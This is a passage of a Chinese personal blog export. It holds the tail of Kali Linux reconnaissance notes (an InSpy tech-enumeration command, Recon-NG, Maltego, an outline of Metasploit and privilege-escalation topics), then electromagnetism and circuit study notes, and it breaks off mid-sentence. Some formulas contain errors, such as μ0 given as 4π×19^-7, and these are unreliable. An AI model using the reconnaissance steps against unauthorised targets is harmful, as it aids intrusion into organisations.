class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003einspy --techspy /usr/share/inspy/wordlists/tech-list-large.txt oreilly\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e注意,InSpy需要安装到Kali中才能使用。\u003c/p\u003e\u003ch4 id=\"Recon-NG\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/30/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Linux/Kali%20Linux%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#Recon-NG\" class=\"headerlink\" title=\"Recon-NG\"\u003e\u003c/a\u003eRecon-NG\u003c/h4\u003e\u003cp\u003e在设置完apikey之后,我们就可以用它的各个模块来搜索信息。使用\u003ccode\u003eshow\u003c/code\u003e列出查询结果,\u003ccode\u003ereporting\u003c/code\u003e模块可以获取/导出数据库内容。\u003c/p\u003e\u003ch4 id=\"Maltego\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/30/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Linux/Kali%20Linux%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#Maltego\" class=\"headerlink\" title=\"Maltego\"\u003e\u003c/a\u003eMaltego\u003c/h4\u003e\u003cp\u003e这是一个GUI程序。其中有一些模块可供使用,通过\u003ccode\u003emachine\u003c/code\u003e,我们可以自动化使用模块完成搜索。\u003c/p\u003e\u003ch3 id=\"0x033-DNS侦察和Whois\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/30/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Linux/Kali%20Linux%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#0x033-DNS%E4%BE%A6%E5%AF%9F%E5%92%8CWhois\" class=\"headerlink\" title=\"0x033.DNS侦察和Whois\"\u003e\u003c/a\u003e0x033.DNS侦察和Whois\u003c/h3\u003e\u003cp\u003eDNS维护着一张域名-IP映射表,这使得我们不必维护一个庞大的主机表。DNS和RIRs(区域互联网管理机构)有关。\u003c/p\u003e\u003ch4 id=\"DNS侦察\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/30/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Linux/Kali%20Linux%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#DNS%E4%BE%A6%E5%AF%9F\" class=\"headerlink\" title=\"DNS侦察\"\u003e\u003c/a\u003eDNS侦察\u003c/h4\u003e\u003ch4 id=\"区域互联网注册服务商\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/30/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Linux/Kali%20Linux%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E5%8C%BA%E5%9F%9F%E4%BA%92%E8%81%94%E7%BD%91%E6%B3%A8%E5%86%8C%E6%9C%8D%E5%8A%A1%E5%95%86\" class=\"headerlink\" title=\"区域互联网注册服务商\"\u003e\u003c/a\u003e区域互联网注册服务商\u003c/h4\u003e\u003c!-- ### 0x034.被动侦察### 0x035.端口扫描#### TCP扫描#### UDP扫描#### Nmap端口扫描#### 高速扫描### 0x036.服务扫描#### 手工交互## 0x04.寻找漏洞### 0x041.漏洞### 0x042.漏洞类型#### 缓冲区溢出#### 竞争条件#### 输入验证#### 访问控制### 0x043.本地漏洞#### 使用lynis进行本地检查#### OpenVAS本地扫描#### Root Kit### 0x044.远程漏洞#### OpenVAS入门#### 创建扫描#### OpenVAS报告### 0x045.网络设备审查#### 审查设备#### 数据库漏洞### 0x046.识别新的漏洞## 0x05.自动化漏洞利用### 0x051.漏洞利用### 0x052.思科攻击#### 管理协议#### 其他设备### 0x053.漏洞利用数据库### 0x054.Metasploit#### 入门#### 模块应用#### 导入数据#### 漏洞利用系统### 0x055.Armitage### 0x056.社交工程## 0x06.Metasploit进阶### 0x061.扫描目标#### 端口扫描#### SMB扫描#### 漏洞扫描### 0x062.对目标进行漏洞利用### 0x063.Meterpreter应用#### 基础#### 用户信息#### 操作进程### 0x064.权限升级### 0x065.转向其他网络### 0x066.维护访问权限 --\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/10/30/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Linux/Kali%20Linux%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},{"title":"电磁学笔记","time":"2022-10-25T13:59:12Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"静电场\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/25/%E7%89%A9%E7%90%86/%E7%94%B5%E7%A3%81%E5%AD%A6%E7%AC%94%E8%AE%B0/#%E9%9D%99%E7%94%B5%E5%9C%BA\" class=\"headerlink\" title=\"静电场\"\u003e\u003c/a\u003e静电场\u003c/h2\u003e\u003cp\u003e之所以叫静电场是为了强调场源电荷是相对静止的。因为下面的部分规则对于运动电荷/电流形成的电场不一定适用。\u003c/p\u003e\u003ch3 id=\"点电荷\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/25/%E7%89%A9%E7%90%86/%E7%94%B5%E7%A3%81%E5%AD%A6%E7%AC%94%E8%AE%B0/#%E7%82%B9%E7%94%B5%E8%8D%B7\" class=\"headerlink\" title=\"点电荷\"\u003e\u003c/a\u003e点电荷\u003c/h3\u003e\u003cp\u003e元电荷的电量: $e=1.6 \\times 10^{-19}C$。电荷是量子化分布的,元电荷是电荷的最小单位。任何电量都是元电荷的整数倍。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e真空中静止点电荷\u003c/strong\u003e间的作用力大小为 $F=\\frac{1}{4\\pi \\epsilon_0}\\frac{q_1q_2}{r^2}$,其中 $\\epsilon_0=8.85\\times 10^{-12}C^2/(N \\cdot m^2)$。\u003c/p\u003e\u003ch3 id=\"电场\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/25/%E7%89%A9%E7%90%86/%E7%94%B5%E7%A3%81%E5%AD%A6%E7%AC%94%E8%AE%B0/#%E7%94%B5%E5%9C%BA\" class=\"headerlink\" title=\"电场\"\u003e\u003c/a\u003e电场\u003c/h3\u003e\u003cp\u003e点电荷会向外发出电场。它是物质的另一种非实体存在形式,其对于位于其内的其他电荷有力的作用。它的定义如下:\u003c/p\u003e\u003cp\u003e定义式: $E=\\frac{d\\Phi}{dS}$,即:\u003cstrong\u003e单位面积通过的电场线条数\u003c/strong\u003e称为某一点的场强。 $d\\Phi$称为电通量。电场线是人们假想的,描述某一点电场强度的量。\u003c/p\u003e\u003cp\u003e高斯定律: $\\oint_SE\\cdot dS=\\frac{1}{\\epsilon_0}\\Sigma q$,q为高斯面内的电荷量代数和。\u003c/p\u003e\u003cp\u003e通过高斯定律我们能看出,电场是有源无旋场。\u003c/p\u003e\u003cp\u003e知道了空间某一区域内的电荷量之后,便可以通过高斯定律计算出来该高斯面上的平均电场强度。因此,对于受一定几何条件约束,存在对称性的空间区域,就可以利用高斯定理计算其表面的场强。\u003c/p\u003e\u003cp\u003e下面是一些特殊静电场的场强:\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth align=\"center\"\u003e描述\u003c/th\u003e\u003cth align=\"left\"\u003e公式\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e球面内\u003c/td\u003e\u003ctd align=\"left\"\u003e$E=0$\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e球面外\u003c/td\u003e\u003ctd align=\"left\"\u003e$E=\\frac{q}{4\\pi \\epsilon_0}\\frac{1}{r^2}$\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e球体内\u003c/td\u003e\u003ctd align=\"left\"\u003e$E=\\frac{q}{4\\pi \\epsilon_0}\\frac{r}{R^3}=\\frac{\\rho}{3\\epsilon_0}r$\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e球体外\u003c/td\u003e\u003ctd align=\"left\"\u003e$E=\\frac{q}{4\\pi\\epsilon_0}\\frac{1}{r^2}$\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e长直导线\u003c/td\u003e\u003ctd align=\"left\"\u003e$E=\\frac{\\lambda}{2\\pi\\epsilon_0r}$\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003e圆盘周线上的场强:\u003cbr/\u003e$$\u003cbr/\u003eE=\\frac{\\delta x}{2\\epsilon_0}[\\frac{1}{\\sqrt{x^2+R_1^2}}-\\frac{1}{x^2+R^2}]\u003cbr/\u003e$$\u003c/p\u003e\u003ch4 id=\"电偶极子\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/25/%E7%89%A9%E7%90%86/%E7%94%B5%E7%A3%81%E5%AD%A6%E7%AC%94%E8%AE%B0/#%E7%94%B5%E5%81%B6%E6%9E%81%E5%AD%90\" class=\"headerlink\" title=\"电偶极子\"\u003e\u003c/a\u003e电偶极子\u003c/h4\u003e\u003cp\u003e电偶极子是一个理想化的模型:一对带有等量异号电荷,电量分别为 $+q,-q$的点电荷,彼此距离为 $l$。规定电偶极矩为 $p=ql$,其中 $l$的方向为:从负电荷指向正电荷。下面是位于电偶极子特殊位置的场强(其中 $r \\gg l$):\u003c/p\u003e\u003cul\u003e\u003cli\u003e沿轴线方向的场强: $E=\\frac{2p}{4\\pi\\epsilon_0r^3}$\u003c/li\u003e\u003cli\u003e中垂线上的场强: $E=-\\frac{p}{4\\pi\\epsilon_0r^3}$\u003c/li\u003e\u003cli\u003e一般情况场强: $E=\\frac{1}{4\\pi\\epsilon_0r^3}[\\frac{3(r\\cdot p)r}{r^2}-p]$\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"电势\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/25/%E7%89%A9%E7%90%86/%E7%94%B5%E7%A3%81%E5%AD%A6%E7%AC%94%E8%AE%B0/#%E7%94%B5%E5%8A%BF\" class=\"headerlink\" title=\"电势\"\u003e\u003c/a\u003e电势\u003c/h3\u003e\u003cp\u003e规定某一点处的电势为:$\\phi=-\\int^P_{\\infty}E\\cdot dr=\\int_P^{\\infty}E\\cdot dr$。也就是说,在匀强场中,有 $U=Ed$。\u003c/p\u003e\u003cp\u003e同时,电场具有下面的特性:$\\oint E\\cdot dr = 0$,即静电场和重力场一样,是保守场。\u003c/p\u003e\u003cp\u003e两点间的电势差:$U_{12}=\\phi_1-\\phi_2=-\\Delta\\phi$,单位: $1V=1J/C$\u003c/p\u003e\u003cp\u003e场强和电势还有如下关系: $E=-\\nabla\\phi$,即某点的场强为该点电势的梯度的负值。\u003c/p\u003e\u003ch3 id=\"静电场中的导体\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/25/%E7%89%A9%E7%90%86/%E7%94%B5%E7%A3%81%E5%AD%A6%E7%AC%94%E8%AE%B0/#%E9%9D%99%E7%94%B5%E5%9C%BA%E4%B8%AD%E7%9A%84%E5%AF%BC%E4%BD%93\" class=\"headerlink\" title=\"静电场中的导体\"\u003e\u003c/a\u003e静电场中的导体\u003c/h3\u003e\u003cp\u003e导体静电平衡条件: $E_{in}=0\\text{(即导体内电场为0)}, E_s\\perp\\text{导体表面}$。当导体处于静电平衡时,有 $\\delta=\\epsilon_0E$。有导体存在时,静电场的计算借助\u003cstrong\u003e静电场的基本规律,电荷守恒和导体经典平衡条件\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e静电屏蔽\u003c/strong\u003e:金属空壳外表面的电荷和壳外的电荷在壳内的合场强为0,因而对壳内场强无影响。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e唯一性定理\u003c/strong\u003e:给定每个导体的总电量、电势,或者一些导体的总电量和另一些导体的电势,静电场的分布就唯一地确定了。电场的计算可以使用\u003cstrong\u003e镜像法\u003c/strong\u003e。\u003c/p\u003e\u003ch3 id=\"静电场中的介质\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/25/%E7%89%A9%E7%90%86/%E7%94%B5%E7%A3%81%E5%AD%A6%E7%AC%94%E8%AE%B0/#%E9%9D%99%E7%94%B5%E5%9C%BA%E4%B8%AD%E7%9A%84%E4%BB%8B%E8%B4%A8\" class=\"headerlink\" title=\"静电场中的介质\"\u003e\u003c/a\u003e静电场中的介质\u003c/h3\u003e\u003cp\u003e将介质插入电容器,则有:$U=\\frac{U_0}{\\epsilon_r}$。又因为 $E=\\frac{U}{d}$,因而有 $E=\\frac{E_0}{\\epsilon_r}$\u003c/p\u003e\u003cp\u003e根据正负电中心是否重合,可以把分子分为两类:极性分子:有固有电矩;非极性分子:无固有电矩。外加电场会产生比固有电矩小得多的感生电矩,出现在电介质表面的电荷叫\u003cstrong\u003e面束缚电荷/面极化电荷\u003c/strong\u003e。分子电矩和电偶极子的电矩定义相同,为 $p=ql$。\u003c/p\u003e\u003cp\u003e此外,对于有电介质存在的电场,引入电位移D,有:$D=\\epsilon_0E+P$。其中 $P=np$,P是电极化强度,n是电介质单位体积内的分子数($P$单位$C/m^2$)\u003c/p\u003e\u003cp\u003e此时,高斯定理变形为 $\\oint D\\cdot dS = \\Sigma q$。其中, $q$是自由电荷,$D=\\epsilon E = \\epsilon_0\\epsilon_r E$。\u003c/p\u003e\u003cp\u003e边界条件: $E_{1t}=E_{2t}D_{1n}=D_{2n}$\u003c/p\u003e\u003ch3 id=\"电容器\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/25/%E7%89%A9%E7%90%86/%E7%94%B5%E7%A3%81%E5%AD%A6%E7%AC%94%E8%AE%B0/#%E7%94%B5%E5%AE%B9%E5%99%A8\" class=\"headerlink\" title=\"电容器\"\u003e\u003c/a\u003e电容器\u003c/h3\u003e\u003cp\u003e电容器具有电容 $C$, 其定义为:$C=\\frac{Q}{U}$。电容器和电阻一样可以进行串并联,且遵循:并联 $C$相加,串联 $C$\u003cstrong\u003e倒数相加\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e电介质填充规律:\u003c/p\u003e\u003cul\u003e\u003cli\u003e按等势面填充: $D$不变, $E$变\u003c/li\u003e\u003cli\u003e按电场线填充: $D$变, $E$的分布“样子”不变(?)\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e电容器的能量: $W=\\frac{1}{2}CU^2=\\frac{1}{2}QU=\\frac{1}{2}\\frac{Q^2}{C}$\u003c/p\u003e\u003cp\u003e电场中的能量体密度: $W_c=\\frac{1}{2}DE=\\frac{1}{2}\\epsilon E^2$\u003c/p\u003e\u003cp\u003e电场中的能量: $W=\\int \\frac{1}{2}\\epsilon E^2dV$\u003c/p\u003e\u003cp\u003e常见电容器的电容计算:\u003c/p\u003e\u003cul\u003e\u003cli\u003e平行板: $C=\\frac{\\epsilon S}{d}$\u003c/li\u003e\u003cli\u003e圆柱形: $C=\\frac{2\\pi L\\epsilon}{ln(\\frac{R_2}{R_1})}$\u003c/li\u003e\u003cli\u003e球形电容器: $C=4\\pi\\epsilon\\frac{R_1R_2}{R_2-R_1}$\u003c/li\u003e\u003cli\u003e球形孤立导体电容器: $C=4\\pi R\\epsilon$\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"磁场\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/25/%E7%89%A9%E7%90%86/%E7%94%B5%E7%A3%81%E5%AD%A6%E7%AC%94%E8%AE%B0/#%E7%A3%81%E5%9C%BA\" class=\"headerlink\" title=\"磁场\"\u003e\u003c/a\u003e磁场\u003c/h2\u003e\u003cp\u003e磁力是运动电荷之间相互作用的表现。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e洛伦兹力\u003c/strong\u003e:运动电荷受到磁场的作用力,为 $F=qv\\times B$\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e磁通量\u003c/strong\u003e是单位面积通过的磁感线的量,为 $\\int_SB\\cdot dS$。磁通量用于描述某点的磁感应强度。\u003c/p\u003e\u003cp\u003e毕萨定律描述了\u003cstrong\u003e单位电流元在空间某一点产生的磁感应强度\u003c/strong\u003e:$dB=\\frac{\\mu_0}{4\\pi}\\frac{Idl\\times e_r}{r^2}$。方向通过右手螺旋定律即可确定。其中, $\\mu_0$为真空磁导率,为: $\\mu_0=\\frac{1}{\\epsilon_0c^2}=4\\pi\\times 19^{-7}N/A^2$,$c=\\frac{1}{\\sqrt{\\mu_0\\epsilon_0}}$\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e磁通连续性定理\u003c/strong\u003e:$\\oint B\\cdot dS=0$, $dB=\\frac{\\mu_0}{4\\pi}\\frac{qv\\times e_r}{r^2}$\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e安培环路定理\u003c/strong\u003e: $\\oint B\\cdot dr=\\mu_0\\Sigma I_{in}$\u003c/p\u003e\u003cp\u003e也就是说,沿着某条闭合路径对磁场作路径积分,得到的值就是穿过其中的电流的代数和。其中,以右手定则确定正电流的方向。\u003c/p\u003e\u003cp\u003e也可以写作如下形式:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003e\\oint B\\cdot dR=\\mu_0\\int_S(J_c+\\epsilon_0\\frac{\\delta E}{\\delta t}\\cdot dS)\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e传导电流 $I_c$, 位移电流 $I_d=\\epsilon_0\\frac{d\\Phi}{dt}=\\epsilon_0\\frac{d}{dt}\\int_SE\\cdot dS$,位移电流密度: $J_d=\\epsilon_0\\frac{\\delta E}{\\delta t}$, 全电流: $I=I_c+I_d$\u003c/p\u003e\u003ch3 id=\"典型电流分布的磁场\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/25/%E7%89%A9%E7%90%86/%E7%94%B5%E7%A3%81%E5%AD%A6%E7%AC%94%E8%AE%B0/#%E5%85%B8%E5%9E%8B%E7%94%B5%E6%B5%81%E5%88%86%E5%B8%83%E7%9A%84%E7%A3%81%E5%9C%BA\" class=\"headerlink\" title=\"典型电流分布的磁场\"\u003e\u003c/a\u003e典型电流分布的磁场\u003c/h3\u003e\u003cp\u003e无限长直电流 $$B=\\frac{\\mu_0I}{2\\pi r}$$\u003cbr/\u003e一段直导线(上面情况的一般化)$$B=\\frac{\\mu_0I}{4\\pi r}(cos\\theta_1-cos\\theta_2)$$\u003cbr/\u003e无限长均匀载流薄圆筒 $$B_{in}=0 ;B_{out}=\\frac{\\mu_0I}{2\\pi r}$$\u003cbr/\u003e无限长直载流密绕螺绕管 / 螺绕环 $$B_{in}=\\mu_0nI; B_{out}=0$$\u003cbr/\u003e$n$是单位长度的匝数。显然,对于螺绕环,有 $n=\\frac{N}{2\\pi r}$\u003c/p\u003e\u003cp\u003e无限大平面电流 $$B\\cdot2l=\\mu_0jl$$\u003cbr/\u003e圆电流圈中心点和轴线上的磁场 $$B_{center}=\\frac{\\mu_0I}{2R}; B_{axis}=\\frac{\\mu_0IS}{2\\pi(R^2+x^2)^{\\frac{3}{2}}}$$\u003c/p\u003e\u003ch3 id=\"磁矩\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/25/%E7%89%A9%E7%90%86/%E7%94%B5%E7%A3%81%E5%AD%A6%E7%AC%94%E8%AE%B0/#%E7%A3%81%E7%9F%A9\" class=\"headerlink\" title=\"磁矩\"\u003e\u003c/a\u003e磁矩\u003c/h3\u003e\u003cp\u003e$$\u003cbr/\u003eB=\\frac{\\mu_0}{4\\pi r^3}[\\frac{3(r\\cdot m)r}{r^2}-m]\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e其中, $r\\gg\\text{磁矩线度}$\u003c/p\u003e\u003cp\u003e磁矩、电流圈在外磁场中的势能 $W=-mB_{\\text{外}}=-IS\\cdot B_{\\text{外}}$\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003er=\\frac{mv}{qB}\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003eT=\\frac{2\\pi m}{qB}v\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e霍尔效应: $$U_H=R_H\\frac{IB}{d};F=\\int_LIdl\\times B$$\u003c/p\u003e\u003cp\u003e磁矩:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003em=SIe_n\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e力矩:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003eM=m\\times B\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e导线框受到的力矩就可以像上边这么计算。磁矩就是导线框面积和导线框电流的乘积。若线圈有$N$匝,则乘以$N$即可。\u003c/p\u003e\u003ch2 id=\"电磁感应\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/25/%E7%89%A9%E7%90%86/%E7%94%B5%E7%A3%81%E5%AD%A6%E7%AC%94%E8%AE%B0/#%E7%94%B5%E7%A3%81%E6%84%9F%E5%BA%94\" class=\"headerlink\" title=\"电磁感应\"\u003e\u003c/a\u003e电磁感应\u003c/h2\u003e\u003cp\u003e感应电动势:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003eE=\\frac{d\\phi}{dt}=-N\\frac{d\\phi}{dt}\u003cbr/\u003e$$\u003cbr/\u003e当穿过各匝线圈的磁通量相等时,N 匝线圈的全磁通为 $\\Psi=N\\Phi$\u003c/p\u003e\u003cp\u003e动生电动势 $E=\\oint_L(v\\times B)dl$,$\\lvert E\\rvert=Blv$\u003cbr/\u003e感生电动势 $\\oint_LE_i\\cdot dl=-\\frac{d\\phi}{dt}=-\\int_S\\frac{\\delta B}{\\delta t}\\cdot dS$。其中, $E_i$表示感生电场,由于静电场的环路积分为零, 所以 $\\oint_LE\\cdot dr=-\\int_S \\frac{\\delta B}{\\delta t}\\cdot dS$\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003e\\Psi_{21}=M_{21}i_1 \\\u003cbr/\u003eE_{12}=-\\frac{d\\psi_{21}}{dt}=-M_{21}\\frac{di}{dt}\u003cbr/\u003e$$\u003cbr/\u003e$M_{21}$是回路 $L_1$对回路 $L_2$的互感系数, 固定回路的互感系数是一个常数, $M_{21}=M_{12}=M$,$M$称作这两个导体回路的互感系数, 简称他们的互感。\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003eE_L=-\\frac{d\\psi}{dt}=-L\\frac{di}{dt},L=\\frac{\\psi}{i}\u003cbr/\u003e$$\u003cbr/\u003e称为自感系数,简称自感\u003c/p\u003e\u003cp\u003e自感磁能 \u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003eW_m=\\frac{1}{2}LI^2\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e磁场的能量 \u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003eW_m=\\frac{B^2}{2\\mu}V=\\int \\frac{BH}{2}dV\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e磁能量密度 \u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003eW_m=\\frac{1}{2}BH=\\frac{1}{2}\\mu H^2\u003cbr/\u003e$$\u003c/p\u003e\u003ch2 id=\"麦克斯韦方程组和电磁辐射\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/25/%E7%89%A9%E7%90%86/%E7%94%B5%E7%A3%81%E5%AD%A6%E7%AC%94%E8%AE%B0/#%E9%BA%A6%E5%85%8B%E6%96%AF%E9%9F%A6%E6%96%B9%E7%A8%8B%E7%BB%84%E5%92%8C%E7%94%B5%E7%A3%81%E8%BE%90%E5%B0%84\" class=\"headerlink\" title=\"麦克斯韦方程组和电磁辐射\"\u003e\u003c/a\u003e麦克斯韦方程组和电磁辐射\u003c/h2\u003e\u003cp\u003e$$\u003cbr/\u003e\\left{\u003cbr/\u003e\\begin{aligned}\u003cbr/\u003e\u0026amp;\\oint_SE\\cdot dS =\\frac{q}{\\epsilon_0}=\\frac{1}{\\epsilon_0}\\int_V\\rho dV\\\u003cbr/\u003e\u0026amp;\\oint_SB\\cdot dS =0\\\u003cbr/\u003e\u0026amp;\\oint_LE\\cdot dr =-\\frac{d\\psi}{dt}=-\\int_S\\frac{\\delta B}{\\delta t}\\cdot dS\\\u003cbr/\u003e\u0026amp;\\oint_LB\\cdot dr =\\mu_0I+\\frac{1}{c^2}\\frac{d\\Phi_c}{dt}=\\mu_0\\int_S(J+\\epsilon_0\\frac{\\delta E}{\\delta t})\u003cbr/\u003e\\end{aligned}\u003cbr/\u003e\\right.\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e麦克斯韦方程组是描述电磁场的基本方程组,包括四个方程:高斯定律、安培环路定理、法拉第电磁感应定律和磁场无源性定理。这四个方程分别描述了电荷、电流、电场和磁场之间的相互作用关系。其中,高斯定律描述了电荷对电场的影响,安培环路定理描述了电流对磁场的影响,法拉第电磁感应定律描述了磁场对电场的影响,磁场无源性定理描述了磁场的本质特性。\u003c/p\u003e\u003cp\u003e电磁辐射是指电磁波在空间中的传播过程。电磁波是由电场和磁场相互作用而产生的一种波动现象,其传播速度为光速。电磁辐射的产生需要满足一定的条件,即电荷或电流的加速度必须存在。电磁辐射的能量密度与电场和磁场的强度有关,其传播方向垂直于电场和磁场的方向。电磁辐射在通信、雷达、医学等领域有着广泛的应用。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/10/25/%E7%89%A9%E7%90%86/%E7%94%B5%E7%A3%81%E5%AD%A6%E7%AC%94%E8%AE%B0/"},{"title":"第一章:电路的基本规律","time":"2022-10-19T13:05:02Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e本章主要关于电路的基本定理、基本器件以及电路的等效变换。\u003c/p\u003e\u003ch2 id=\"电路的等效\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/19/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E5%9F%BA%E7%A1%80/%E7%AC%AC%E4%B8%80%E7%AB%A0%EF%BC%9A%E7%94%B5%E8%B7%AF%E7%9A%84%E5%9F%BA%E6%9C%AC%E8%A7%84%E5%BE%8B/#%E7%94%B5%E8%B7%AF%E7%9A%84%E7%AD%89%E6%95%88\" class=\"headerlink\" title=\"电路的等效\"\u003e\u003c/a\u003e电路的等效\u003c/h2\u003e\u003cp\u003e对于任何电路A,如果C和B接在A的端子上,电压、电流、功率完全一样,则称C与B等效。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20220928-163143.png\"/\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e例1:\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20220928-163605.png\"/\u003e\u003c/p\u003e\u003cp\u003e“等效”是对于外电路而言的。因此,当外电路A发生变化时,C和B依旧等效才能称作等效。\u003c/p\u003e\u003cul\u003e\u003cli\u003e例2:\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20220928-163754.png\"/\u003e\u003c/p\u003e\u003cp\u003e如图,将两个电阻替换成一个电阻,从而化简电路。\u003c/p\u003e\u003ch3 id=\"串并联等效\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/19/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E5%9F%BA%E7%A1%80/%E7%AC%AC%E4%B8%80%E7%AB%A0%EF%BC%9A%E7%94%B5%E8%B7%AF%E7%9A%84%E5%9F%BA%E6%9C%AC%E8%A7%84%E5%BE%8B/#%E4%B8%B2%E5%B9%B6%E8%81%94%E7%AD%89%E6%95%88\" class=\"headerlink\" title=\"串并联等效\"\u003e\u003c/a\u003e串并联等效\u003c/h3\u003e\u003col\u003e\u003cli\u003e串联等效\u003c/li\u003e\u003c/ol\u003e\u003cblockquote\u003e\u003cp\u003e特征:流过各电阻的电流是同一电流。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20220928-164109.png\"/\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20220928-164223.png\"/\u003e\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e阻值和分压成正比\u003c/strong\u003e\u003c/p\u003e\u003col start=\"2\"\u003e\u003cli\u003e并联等效\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20220928-164359.png\"/\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20220928-164443.png\"/\u003e\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e电导是电阻的倒数,即 $G = \\frac{1}{R}$ ,单位是 